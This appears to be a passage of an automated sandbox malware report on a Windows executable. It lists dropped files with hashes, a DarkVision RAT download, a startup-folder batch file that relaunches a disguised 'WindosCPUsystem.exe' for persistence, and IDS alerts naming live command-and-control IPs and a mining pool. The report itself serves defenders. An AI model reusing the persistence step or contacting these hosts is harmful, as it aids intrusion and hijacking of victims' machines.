SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_daoswx14.acj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g2u45n10.1fe.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ipowf3ju.zdc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lhjn1fzd.wub.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o153wvgl.xe2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_otzmrymx.u0o.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qte2ovak.his.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zrsn1ony.zro.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\asrjskwdsdoc.sys

Download File

Process:	C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: IYXE4Uz61k.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: nlGOh9K5X5.exe, Detection: malicious, Browse Filename: LfHJdrALlh.exe, Detection: malicious, Browse Filename: iKvzvknzW1.exe, Detection: malicious, Browse Filename: 2zirzlMVqX.bat, Detection: malicious, Browse Filename: DM6vAAgoCw.exe, Detection: malicious, Browse Filename: f5TWdT5EAc.exe, Detection: malicious, Browse Filename: luQ2wBh8q6.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\downloaded_file.bin

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	515600
Entropy (8bit):	7.99963177911539
Encrypted:	true
SSDEEP:	12288:QdzOJGhg2nfH8n9/2FZjsOdj81w/U2CPYjqRXNOB:Q9OUO2fYCZY2GdYj4g
MD5:	8D7493DB663BD32F51A5CEA961029033
SHA1:	1DEB3CDCD775919484EC770C7AE0422BDD9C046E
SHA-256:	67B5F51094A8B094886BF57EFD576EDF76049D301525743A74B920F1E4E3F204
SHA-512:	2E56A1FBBFA4AC54B72415ABCF65FE912E89029E2058DBCD6C0B95511A7CBDFC155B859D262D5CD959B5C7027431F5E4CC441EB0ACA60E960959D3EFECC9E0CB
Malicious:	true
Preview:	.....QS.o..(...,&..5.[........1Y........!v6gk..P......_......Pc~..V._Q.(N..j.....i..r.x.{.fX.hy.\q2....&.i..:).e..+..{.g;...?.K..\|6.. .5.........I.RG.[..6..v...:.E..)?......M..`.w....z.[f.C. ..?..o.,....x..k..O.1..6...A......gm..@...I..&...'..X.#X.p..../......F.uZ...dA3.W...Z....o.B..S.9....Y.9...0@}.i..]<?..........;5..\|rL.......H..6....g.s&G./_..\|(\-ys...a.(.F.Ou1....B9nW./a..I....5....~d..,..."_....~..:?M..7.g.r....@..._V...w4[\ZZ.k..k.@...3.K....6.........g..<.I..B...\|3........M....k.{.............:.U<d1>...s3....w.O.X.\.O.n/.f&..D...:sm..y...66\|8W.r.!.d............A.y0._...>.-..(.:/M.R......1.u.5...O.Dq.$...%.&.4/.......:....../,...e.....2a.......FDzN..9.[.^.........m}.e....f....~.....h.`H.'....o.m.\|.>..V..1.....X.=......(u..z....I3Q....p......(.K...{...(..0ga0.;.......m..s..s......vQx .a....P`....b.k...j~Vm.C.0.b...........R....>H...VNL]`..P.V..K..-I..F...xt.....z.89}i( ..l..z.=.....Z(s....L{1..1zQ.O.....*Bb..s.$...

C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	515584
Entropy (8bit):	6.2318905021613515
Encrypted:	false
SSDEEP:	6144:BRHP4vL3s5+CM6OW0nUBiwCCWfS34mbWMkRONOgbBpiEVBHl8ba2z7rkBiL:BRHP63srM6AbCWfS34mSMkrCpPFBE
MD5:	D60C9E070239F8C240AAA6D8832E11EF
SHA1:	AAAC23A338A91505C56C3057D22A14BF190A2795
SHA-256:	493F1BD7227C4EE9430F8AD226E929908996B97A28F578A850E9B26C393AD2D2
SHA-512:	D70CF79DEC352BD965F8506AD989375642A8931300D5497724C82882AE4D57CCC314D4E6B24C398075AF3DEB4433207522106647E70E74C90E56791E20BCA42C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........W...9...9...9.......9..U....9......9......9...8.K.9..U....9..U....9..U....9..U....9..U....9.Rich..9.........................PE..L.....6g............................lb....... ....@..........................P............@....................................d................................/.....................................@............ ...............................text............................... ..`.rdata....... ......................@..@.data....4..........................@....rsrc...............................@..@.reloc...=.......>..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AutoRun_WindosCPUsystem.bat

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.746560909067808
Encrypted:	false
SSDEEP:	3:mKDDFRKn9mbZkRE5ORWRAI0Eyn:hGEi4ORHnEyn
MD5:	1E0342A7A3BD059510E2A01423F8BAD2
SHA1:	3EB5C2B68A7C14A236826851F784567F94AF0003
SHA-256:	ADD6590578FCD418A8C47F5DE9E1D7688B76D9023D4F58B50076DE743F7319B4
SHA-512:	6DA334D45886354CEB1F8C4B622FC3B26021995DF4DA61DAD44F3E4E6F41C3D92FF5450877F8E8F09D83E1FA62A234D7F4AFC28B050077FB9002C4D81DAF5F65
Malicious:	true
Preview:	@echo off..start "" "C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe"..

\Device\Null

Download File

Process:	C:\Windows\System32\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.300553674183507
Encrypted:	false
SSDEEP:	3:hYFEHgARcWmFsFJQZtctFst3g4t32vov:hYFE1mFSQZi3MXt3X
MD5:	F74899957624A2837F2F86E8E62E92D4
SHA1:	1FCDAC5DEC5B0B1E00CF0247DA2A5F18566F1431
SHA-256:	507992A303C447D1D40D36E2E5163A237077B94F23A7089AC90A2F08682AE9BC
SHA-512:	E3FD14728633614B6552A75C15079AC8B04C0E8B3F49535B522C73312B1C812E30A934099AB18B507A0B4878068987D5545E90FA3747F7E7B10360EE324DB435
Malicious:	false
Preview:	..Waiting for 10 seconds, press CTRL+C to quit ..... 9.. 8.. 7.. 6.. 5.. 4.. 3.. 2.. 1.. 0..

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.478803320046224
TrID:	Win64 Executable GUI (202006/5) 92.64% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% VXD Driver (31/22) 0.01%
File name:	file.exe
File size:	124'416 bytes
MD5:	a3d68745e8919e2a48d8fa0738da124e
SHA1:	85ea6ab1d2d3f6af2011b130756d57f31539e171
SHA256:	65bc085f99db63b0581b2153a0aa2d7151133aafeeb2810f56a5d17ef9760d46
SHA512:	99575b08e17dd409e2cede4996bfc812ebe430a811f96b5c08e3093be8149e2aa148c4d7b71f1c24b5d2be592567494ea0118e355839fc83ab3603a34098a5ac
SSDEEP:	3072:a2sMWkzbJh1qZ9QW69hd1MMdxPe9N9uA0hu9TBfcXG2:7bJhs7QW69hd1MMdxPe9N9uA0hu9TBD2
TLSH:	DFC33966B2E01198DBB581F6D9921706EB7074361B15A3DB6BB853B31B2B4C68F3C3D0
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....msZ........../....2.`.....................@.............................0.............................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x140001000
Entrypoint Section:	.code
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE
DLL Characteristics:
Time Stamp:	0x5A736DDC [Thu Feb 1 19:43:24 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7182b1ea6f92adbf459a2c65d8d4dd9e

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec ecx
mov eax, 00000160h
dec eax
xor edx, edx
dec eax
mov ecx, 40020444h
add dword ptr [eax], eax
add byte ptr [eax], al
call 00007F3A187B2998h
dec eax
xor ecx, ecx
call 00007F3A187B2996h
dec eax
mov dword ptr [0001F420h], eax
dec ebp
xor eax, eax
dec eax
mov edx, 00001000h
dec eax
xor ecx, ecx
call 00007F3A187B2983h
dec eax
mov dword ptr [0001F3FFh], eax
dec eax
mov eax, 4001F088h
add dword ptr [eax], eax
add byte ptr [eax], al
dec eax
mov dword ptr [0001F43Eh], eax
call 00007F3A187BD9BAh
call 00007F3A187BD649h
call 00007F3A187B9770h
call 00007F3A187B8D63h
call 00007F3A187B85F2h
call 00007F3A187B82C1h
call 00007F3A187B79B8h
call 00007F3A187B6E6Fh
call 00007F3A187B2A92h
call 00007F3A187BB955h
call 00007F3A187BA1B4h
dec eax
mov edx, 4001F02Ah
add dword ptr [eax], eax
add byte ptr [eax], al
dec eax
lea ecx, dword ptr [0001F3C6h]
call 00007F3A187BD9E2h
dec eax
mov ecx, FFFFFFF5h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1f198	0xc8	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x22000	0xc80	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1d000	0x10c8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1f6a8	0x448	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.code	0x1000	0x5a99	0x5c00	1d0c9527ee8a05d865534bbee542e47e	False	0.364937160326087	data	5.471300917234666	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.text	0x7000	0x102c5	0x10400	6e20cd0789b9aa50422f27883fd5e9bc	False	0.4876201923076923	data	6.333951903059359	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x18000	0x4b2d	0x4c00	5adef60093ee71127f4e613fda5f050f	False	0.6623149671052632	VAX-order 68k Blit mpx/mux executable	6.662073317603483	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.pdata	0x1d000	0x10c8	0x1200	415f7b43ac6a86ff843649544b818973	False	0.466796875	data	4.88380909718978	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1f000	0x2318	0x1600	9591a60776db6831ff38026b5b3ff33e	False	0.32848011363636365	data	4.299370598184235	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x22000	0xc80	0xe00	50cebeb29ad586af6894795db41edaa9	False	0.7698102678571429	data	7.255536006086562	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_RCDATA	0x2221c	0x7cc	data	1.0055110220440882
RT_RCDATA	0x229e8	0x1	very short file (no magic)	9.0
RT_RCDATA	0x229ec	0x1a	data	1.3461538461538463
RT_RCDATA	0x22a08	0xe	zlib compressed data	1.5714285714285714
RT_MANIFEST	0x22a18	0x267	XML 1.0 document, ASCII text	0.5284552845528455

Imports

DLL	Import
msvcrt.dll	memset, wcsncmp, memmove, wcsncpy, wcsstr, _wcsnicmp, _wcsdup, free, _wcsicmp, wcslen, wcscpy, wcscmp, memcpy, tolower, wcscat, malloc
KERNEL32.dll	GetModuleHandleW, HeapCreate, GetStdHandle, HeapDestroy, ExitProcess, WriteFile, GetTempFileNameW, LoadLibraryExW, EnumResourceTypesW, FreeLibrary, RemoveDirectoryW, GetExitCodeProcess, EnumResourceNamesW, GetCommandLineW, LoadResource, SizeofResource, FreeResource, FindResourceW, GetShortPathNameW, GetSystemDirectoryW, EnterCriticalSection, CloseHandle, LeaveCriticalSection, InitializeCriticalSection, WaitForSingleObject, TerminateThread, CreateThread, Sleep, WideCharToMultiByte, HeapAlloc, HeapFree, LoadLibraryW, GetProcAddress, GetCurrentProcessId, GetCurrentThreadId, GetModuleFileNameW, GetEnvironmentVariableW, SetEnvironmentVariableW, GetCurrentProcess, TerminateProcess, RtlLookupFunctionEntry, RtlVirtualUnwind, RemoveVectoredExceptionHandler, AddVectoredExceptionHandler, HeapSize, MultiByteToWideChar, CreateDirectoryW, SetFileAttributesW, GetTempPathW, DeleteFileW, GetCurrentDirectoryW, SetCurrentDirectoryW, CreateFileW, SetFilePointer, TlsFree, TlsGetValue, TlsSetValue, TlsAlloc, HeapReAlloc, DeleteCriticalSection, GetLastError, SetLastError, UnregisterWait, GetCurrentThread, DuplicateHandle, RegisterWaitForSingleObject
SHELL32.DLL	ShellExecuteExW, SHGetFolderLocation, SHGetPathFromIDListW
WINMM.DLL	timeBeginPeriod
OLE32.DLL	CoInitialize, CoTaskMemFree
SHLWAPI.DLL	PathAddBackslashW, PathRenameExtensionW, PathQuoteSpacesW, PathRemoveArgsW, PathRemoveBackslashW
USER32.DLL	CharUpperW, CharLowerW, MessageBoxW, DefWindowProcW, GetWindowLongPtrW, GetWindowTextLengthW, GetWindowTextW, EnableWindow, DestroyWindow, UnregisterClassW, LoadIconW, LoadCursorW, RegisterClassExW, IsWindowEnabled, GetSystemMetrics, CreateWindowExW, SetWindowLongPtrW, SendMessageW, SetFocus, CreateAcceleratorTableW, SetForegroundWindow, BringWindowToTop, GetMessageW, TranslateAcceleratorW, TranslateMessage, DispatchMessageW, DestroyAcceleratorTable, PostMessageW, GetForegroundWindow, GetWindowThreadProcessId, IsWindowVisible, EnumWindows, SetWindowPos
GDI32.DLL	GetStockObject
COMCTL32.DLL	InitCommonControlsEx

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-09T07:37:29.980726+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	154.216.20.243	443	TCP
2024-12-09T07:37:29.989191+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	49739	185.157.162.216	5200	TCP
2024-12-09T07:37:30.470669+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	154.216.20.243	443	TCP
2024-12-09T07:37:31.145554+0100	2022482	ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01	1	192.168.2.4	49737	154.216.20.243	443	TCP
2024-12-09T07:37:31.426940+0100	2021954	ET MALWARE JS/Nemucod.M.gen downloading EXE payload	1	154.216.20.243	443	192.168.2.4	49737	TCP
2024-12-09T07:37:33.710760+0100	2045619	ET MALWARE Win32/DarkVision RAT CnC Checkin M3	1	192.168.2.4	49739	185.157.162.216	5200	TCP
2024-12-09T07:37:35.410820+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	49741	185.157.162.216	5200	TCP
2024-12-09T07:37:36.142909+0100	2036289	ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)	2	192.168.2.4	54892	1.1.1.1	53	UDP
2024-12-09T07:37:38.092973+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	49744	185.157.162.216	5200	TCP
2024-12-09T07:37:40.827923+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	49745	185.157.162.216	5200	TCP
2024-12-09T07:37:43.495962+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	49746	185.157.162.216	5200	TCP
2024-12-09T07:37:46.191236+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	49747	185.157.162.216	5200	TCP
2024-12-09T07:38:05.335051+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49740	154.216.20.243	443	TCP
2024-12-09T07:38:29.876691+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49764	154.216.20.243	443	TCP
2024-12-09T07:38:41.565655+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	49848	185.157.162.216	5200	TCP
2024-12-09T07:38:45.306325+0100	2045619	ET MALWARE Win32/DarkVision RAT CnC Checkin M3	1	192.168.2.4	49848	185.157.162.216	5200	TCP
2024-12-09T07:38:46.992724+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	49863	185.157.162.216	5200	TCP
2024-12-09T07:38:49.693183+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	49870	185.157.162.216	5200	TCP
2024-12-09T07:38:52.366437+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	49876	185.157.162.216	5200	TCP
2024-12-09T07:38:55.065857+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	49883	185.157.162.216	5200	TCP
2024-12-09T07:38:57.772811+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	49892	185.157.162.216	5200	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 07:37:03.264318943 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:03.264357090 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:03.264419079 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:03.279232025 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:03.279247999 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:07.934281111 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:07.934410095 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:07.938092947 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:07.938101053 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:07.938350916 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:07.949891090 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:07.995341063 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.605149984 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.605180979 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.605196953 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.605237961 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:08.605261087 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.605276108 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:08.605307102 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:08.724087954 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.724113941 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.724338055 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:08.724349976 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.724397898 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:08.800028086 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.800054073 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.800124884 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:08.800133944 CET	443	49730	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:08.800182104 CET	49730	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:08.888993979 CET	443	49730	154.216.20.243	192.168.2.4
